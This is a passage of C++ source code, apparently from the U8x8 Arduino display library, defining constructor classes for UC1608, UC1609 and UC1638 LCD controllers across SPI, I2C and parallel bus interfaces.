U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1608_DEM240064_HW_I2C : public U8X8 {\n  public: U8X8_UC1608_DEM240064_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1608_DEM240064_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1608_DEM240064_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_dem240064, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1608_ERC240120_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1608_ERC240120_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_ERC240120_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1608_ERC240120_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_ERC240120_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1608_ERC240120_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_ERC240120_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1608_ERC240120_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1608_ERC240120_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1608_ERC240120_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1608_ERC240120_6800 : public U8X8 {\n  public: U8X8_UC1608_ERC240120_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_ERC240120_8080 : public U8X8 {\n  public: U8X8_UC1608_ERC240120_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_ERC240120_SW_I2C : public U8X8 {\n  public: U8X8_UC1608_ERC240120_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1608_ERC240120_HW_I2C : public U8X8 {\n  public: U8X8_UC1608_ERC240120_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1608_ERC240120_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1608_ERC240120_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_erc240120, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1608_240X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1608_240X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_240X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1608_240X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_240X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1608_240X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_240X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1608_240X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1608_240X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1608_240X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1608_240X128_6800 : public U8X8 {\n  public: U8X8_UC1608_240X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_240X128_8080 : public U8X8 {\n  public: U8X8_UC1608_240X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1608_240X128_SW_I2C : public U8X8 {\n  public: U8X8_UC1608_240X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1608_240X128_HW_I2C : public U8X8 {\n  public: U8X8_UC1608_240X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1608_240X128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1608_240X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1608_240x128, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1609_SLG19264_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1609_SLG19264_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1609_SLG19264_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1609_SLG19264_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1609_SLG19264_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1609_SLG19264_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1609_SLG19264_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1609_SLG19264_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1609_SLG19264_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1609_SLG19264_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1609_SLG19264_6800 : public U8X8 {\n  public: U8X8_UC1609_SLG19264_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1609_SLG19264_8080 : public U8X8 {\n  public: U8X8_UC1609_SLG19264_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1609_SLG19264_SW_I2C : public U8X8 {\n  public: U8X8_UC1609_SLG19264_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1609_SLG19264_HW_I2C : public U8X8 {\n  public: U8X8_UC1609_SLG19264_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1609_SLG19264_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1609_SLG19264_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1609_slg19264, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1638_160X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1638_160X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_160X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1638_160X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_160X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1638_160X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_160X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1638_160X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1638_160X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1638_160X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1638_160X128_6800 : public U8X8 {\n  public: U8X8_UC1638_160X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_160X128_8080 : public U8X8 {\n  public: U8X8_UC1638_160X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_192X96_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1638_192X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_192X96_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1638_192X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_192X96_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1638_192X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_192X96_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1638_192X96_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1638_192X96_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1638_192X96_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1638_192X96_6800 : public U8X8 {\n  public: U8X8_UC1638_192X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_192X96_8080 : public U8X8 {\n  public: U8X8_UC1638_192X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_192X96_SW_I2C : public U8X8 {\n  public: U8X8_UC1638_192X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_uc1638_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1638_192X96_HW_I2C : public U8X8 {\n  public: U8X8_UC1638_192X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_uc1638_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1638_192X96_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1638_192X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_uc1638_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1638_240X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1638_240X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_240X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1638_240X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_240X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1638_240X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_240X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1638_240X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1638_240X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1638_240X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1638_240X128_6800 : public U8X8 {\n  public: U8X8_UC1638_240X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_240X128_8080 : public U8X8 {\n  public: U8X8_UC1638_240X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1638_240X128_SW_I2C : public U8X8 {\n  public: U8X8_UC1638_240X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_uc1638_i2c, u8x8_byte_arduino_sw_i2c, 